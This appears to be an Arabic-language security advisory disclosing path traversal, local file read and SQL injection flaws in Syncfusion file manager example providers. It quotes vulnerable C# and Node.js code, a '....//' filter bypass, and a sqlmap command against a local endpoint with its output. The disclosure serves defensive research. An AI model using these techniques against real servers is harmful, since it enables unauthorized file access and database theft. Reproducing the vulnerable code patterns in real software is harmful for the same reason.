
إفصاح تقني عن ثلاثة CVEs (2023-26563-26565) تفاصيل ثغرات قراءة الملفات المحلية، وتجاوز الدليل، وحقن SQL في موفري مدير ملفات Syncfusion مع كود استغلال إثبات المفهوم.
ذكر البائع أنه قام بإصلاح جميع الثغرات الأمنية الموضحة في الإصدارات التي تم إصدارها بعد عام 2024. لم تتحقق Ruptura InfoSecurity من أن هذه الإصلاحات كاملة.
راجع تعليقات البائع على https://github.com/RupturaInfoSec/CVE-2023-26563-26564-26565/issues/1.
المستودع المتأثر: https://github.com/SyncfusionExamples/ej2-aspcore-file-provider/ الإصدارات المعرضة للخطر قبل Git commit 7c8791084ff86d4a2c225756c490591f6e011a6c
يفشل التطبيق في التحقق من أي من المسارات التي يوفرها المستخدم. نتيجة لذلك، من الممكن تحديد تسلسلات اجتياز الدليل ("../") لسرد الملفات في أي دليل، أو قراءة أي ملف محلي، أو تحميل أي ملف إلى أي مكان على الخادم، أو حذف أي ملف على الخادم.
في مستودع ASP core، يتم تنفيذ معظم الوظائف الفعلية في Models/PhysicalFileProvider.cs.
في حالة التنزيل، يتم أخذ المعامل names مباشرة من إدخال المستخدم في الطلب.
public virtual void Download(string path, string[] names, params FileManagerDirectoryContent[] data)
{
try
{
string physicalPath = GetPath(path);
String extension;
int count = 0;
...
if (names.Length > 1)
DownloadZip(path, names);
if (count == names.Length)
{
DownloadFile(path, names);
}
يُستخدم هذا المسار مباشرةً داخل دالة Path.combine.
protected virtual void DownloadFile(string path, string[] names = null)
{
if (!string.IsNullOrEmpty(path))
{
try
{
path = (Path.Combine(contentRootPath + path, names[0]));
HttpResponse response = HttpContext.Current.Response;
response.Buffer = true;
response.Clear();
response.ContentType = "APPLICATION/octet-stream";
string extension = System.IO.Path.GetExtension(path);
response.AddHeader("content-disposition", string.Format("attachment; filename = \"{0}\"", System.IO.Path.GetFileName(path)));
response.WriteFile(path);
response.Flush();
response.End();
}
catch (Exception ex) { throw ex; }
}
else throw new ArgumentNullException("name should not be null");
}
في معظم نقاط النهاية، حاولوا إصلاح ذلك بإزالة ../ ولكن يمكن تجاوز ذلك ببساطة باستخدام شيء مثل ....//، والذي بعد استخدام .replace("../", "")، سينتج عنه ../ الأصلي.
المستودع المتأثر: https://github.com/SyncfusionExamples/ej2-filemanager-node-filesystem الإصدارات المعرضة للخطر قبل Git commit 65bc929e34aa34a3a9db0dc1cc9cba03e19ba9e6
بينما يحتوي التطبيق على تعبير عادي لمنع تسلسلات اجتياز الدليل، إلا أنه يفعل ذلك في بعض الأحيان فقط. نتيجة لذلك:
في مستودع node، يتم تقديم جميع الوظائف داخل ملف واحد: https://github.com/SyncfusionExamples/ej2-filemanager-node-filesystem/blob/65bc929e34aa34a3a9db0dc1cc9cba03e19ba9e6/filesystem-server.js
بالنسبة لتنزيل الملفات، فإن السبب الجذري واضح بذاته، حيث يثق التطبيق في إدخال المستخدم عند ربط مسارات الملفات معًا:
/**
* Download a file or folder
*/
app.post('/Download', function (req, res) {
replaceRequestParams(req, res);
var downloadObj = JSON.parse(req.body.downloadInput);
var permission; var permissionDenied = false;
downloadObj.data.forEach(function (item) {
var filepath = (contentRootPath + item.filterPath).replace(/\\/g, "/");
permission = getPermission(filepath + item.name, item.name, item.isFile, contentRootPath, item.filterPath);
if (permission != null && (!permission.read || !permission.download)) {
permissionDenied = true;
var errorMsg = new Error();
errorMsg.message = (permission.message !== "") ? permission.message : getFileName(contentRootPath + item.filterPath + item.name) + " is not accessible. You need permission to perform the download action.";
errorMsg.code = "401";
response = { error: errorMsg };
response = JSON.stringify(response);
res.setHeader('Content-Type', 'application/json');
res.json(response);
}
});
if (!permissionDenied) {
if (downloadObj.names.length === 1 && downloadObj.data[0].isFile) {
var file = contentRootPath + downloadObj.path + downloadObj.names[0];
res.download(file);
} else {
var archive = archiver('zip', {
gzip: true,
zlib: { level: 9 } // Sets the compression level.
});
var output = fs.createWriteStream('./Files.zip');
downloadObj.data.forEach(function (item) {
archive.on('error', function (err) {
throw err;
});
if (item.isFile) {
archive.file(contentRootPath + item.filterPath + item.name, { name: item.name });
}
else {
archive.directory(contentRootPath + item.filterPath + item.name + "/", item.name);
}
});
المستودع المتأثر: https://github.com/SyncfusionExamples/sql-server-database-aspcore-file-provider الإصدارات المعرضة للخطر قبل Git commit d671e09d0cfddb8e3c87f172d8a9ca4caf5980a6
في مستودع SQL server، يتم تنفيذ معظم الوظائف الفعلية في Models/SQLFileProvider.cs.
حقن SQL قياسي ومتكرر إلى حد ما داخل المستودع المتأثر ويمكن استغلاله بأمر sqlmap بسيط:
sqlmap -u 'http://localhost:9999/api/SQLProvider/SQLGetImage?path=1/&id=9225&time=1680527844871'
[!] إخلاء مسؤولية قانوني: استخدام sqlmap لمهاجمة أهداف دون موافقة مسبقة متبادلة غير قانوني. تقع على عاتق المستخدم النهائي مسؤولية الامتثال لجميع القوانين المحلية والولائية والفيدرالية المعمول بها. يخلي المطورون مسؤوليتهم ولا يتحملون أي مسؤولية عن أي سوء استخدام أو ضرر ناتج عن هذا البرنامج
[*] بدء التشغيل @ 14:31:52 /2023-04-03/
[14:31:52] [معلومات] اختبار الاتصال بعنوان URL الهدف
[14:31:52] [معلومات] اختبار ما إذا كان محتوى عنوان URL الهدف مستقرًا
[14:31:53] [معلومات] محتوى عنوان URL الهدف مستقر
[14:31:53] [معلومات] اختبار ما إذا كان معامل GET 'path' ديناميكيًا
[14:31:53] [تحذير] لا يبدو أن معامل GET 'path' ديناميكي
[14:31:54] [تحذير] يظهر الاختبار الاسترشادي (الأساسي) أن معامل GET 'path' قد لا يكون قابلًا للحقن
[14:31:55] [معلومات] اختبار حقن SQL على معامل GET 'path'
[14:31:55] [معلومات] اختبار 'AND boolean-based blind - WHERE or HAVING clause'
[14:31:57] [معلومات] اختبار 'Boolean-based blind - Parameter replace (original value)'
[14:31:57] [معلومات] اختبار 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:31:57] [معلومات] اختبار 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:31:57] [معلومات] اختبار 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:31:58] [معلومات] اختبار 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:31:58] [معلومات] اختبار 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[14:31:58] [معلومات] اختبار 'Generic inline queries'
[14:31:58] [معلومات] اختبار 'PostgreSQL > 8.1 stacked queries (comment)'
[14:31:58] [معلومات] اختبار 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:31:58] [معلومات] اختبار 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:31:58] [معلومات] اختبار 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:31:58] [معلومات] اختبار 'PostgreSQL > 8.1 AND time-based blind'
[14:31:59] [معلومات] اختبار 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:31:59] [معلومات] اختبار 'Oracle AND time-based blind'
يوصى بإجراء اختبارات UNION الأساسية فقط إذا لم يكن هناك أسلوب آخر (محتمل) واحد على الأقل موجود. هل تريد تقليل عدد الطلبات؟ [Y/n]
[14:32:00] [معلومات] اختبار 'Generic UNION query (NULL) - 1 to 10 columns'
[14:32:00] [تحذير] لا يبدو أن معامل GET 'path' قابل للحقن
[14:32:00] [معلومات] اختبار ما إذا كان معامل GET 'id' ديناميكيًا
[14:32:00] [تحذير] لا يبدو أن معامل GET 'id' ديناميكي
[14:32:00] [تحذير] يظهر الاختبار الاسترشادي (الأساسي) أن معامل GET 'id' قد لا يكون قابلًا للحقن
[14:32:01] [معلومات] اختبار حقن SQL على معامل GET 'id'
[14:32:01] [معلومات] اختبار 'AND boolean-based blind - WHERE or HAVING clause'
[14:32:01] [معلومات] يبدو أن معامل GET 'id' قابل للحقن من نوع 'AND boolean-based blind - WHERE or HAVING clause' (مع --code=200)
أمثلة على مقتطفات الكود المعرضة للخطر:
try
{
SqlDataReader reader = (new SqlCommand(("select ItemID from " + this.tableName + " where ParentID='" + rootId + "'"), sqlConnection)).ExecuteReader();
while (reader.Read()) { isRoot = reader["ItemID"].ToString(); }
}
try
{
SqlDataReader reader = (new SqlCommand(("select ParentID from " + this.tableName + " where ItemID='" + data[0].Id + "'"), sqlConnection)).ExecuteReader();
while (reader.Read()) { parentID = reader["ParentID"].ToString(); }
}
يؤدي حقن SQL إلى وصول كامل للقراءة إلى قاعدة البيانات فيما يتعلق بكيفية تكوين الأذونات لحساب المستخدم.